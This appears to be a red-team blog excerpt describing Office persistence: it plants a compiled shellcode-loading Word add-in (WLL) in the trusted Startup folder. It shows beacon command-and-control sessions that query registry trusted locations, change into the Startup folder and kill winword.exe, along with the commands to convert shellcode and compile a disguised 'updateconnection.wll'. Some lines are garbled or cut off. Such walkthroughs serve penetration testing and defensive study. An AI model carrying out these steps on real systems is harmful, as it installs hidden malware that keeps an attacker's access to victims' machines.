

Persistence

Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their fotthold on systems, such as replacing or hijacking legitimate code or adding startup code

What is a WLL file?

A WLL file is an add-in used by Microsoft Word, a word processing application. It contains a software component that adds new features to the program, similar to a plugin. WLL "Add-Ins" for Word

Registry query for trusted location path

find the trusted location by querying the register

reg query x64 HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\14.0\Word\Security\Trusted Locations\

beacon> reg query x64 HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\14.0\Word\Security\Trusted Locations\Location2
[*] Tasked beacon to query HKCU\SOFTWARE\Microsoft\Office\14.0\Word\Security\Trusted Locations\Location2 (x64)
[*] host called home, sent: 2386 bytes
[*] received output:
Path %APPDATA%\Microsoft\Word\Startup
Pescription 2

%APPDATA% is often redirected with roaming profiles meaning add-ins can persist in VDT environments

navigate to this folder with the command

cd C:\Users\NoRed0x\AppData\Roaming\Microsoft\Word\Startup

beacon> cd C:\Users\NoRed0x\AppData\Roaming\Microsoft\Word\Startup
[*] cd C:\Users\NoRed0x\AppData\Roaming\Microsoft\Word\Startup
[+] host called home, sent: 63 bytes

shellcode2ascii.py

convert the shell code to ascii

python shellcode2ascii.py payload.bin

office persistence - NoRed0x - 01/11/2024 13:03 https://nored0x.github.io/red-teaming/office-persistence/#what-is-a-wll-file

Compiling WLL

compile the wll

i686-w64-mingw32-g++ -Wno-narrowing -shared officetemp.cpp -o updateconnection.wll strip update.wll

<pre>beacon > shell taskkill /F /IM winword.exe [*] Tasked beacon to run: taskkill /F /IM [+] host called home, sent: 58 bytes [+] received output: SUCCESS: The process "WINWORD.EXE" with PI</pre>	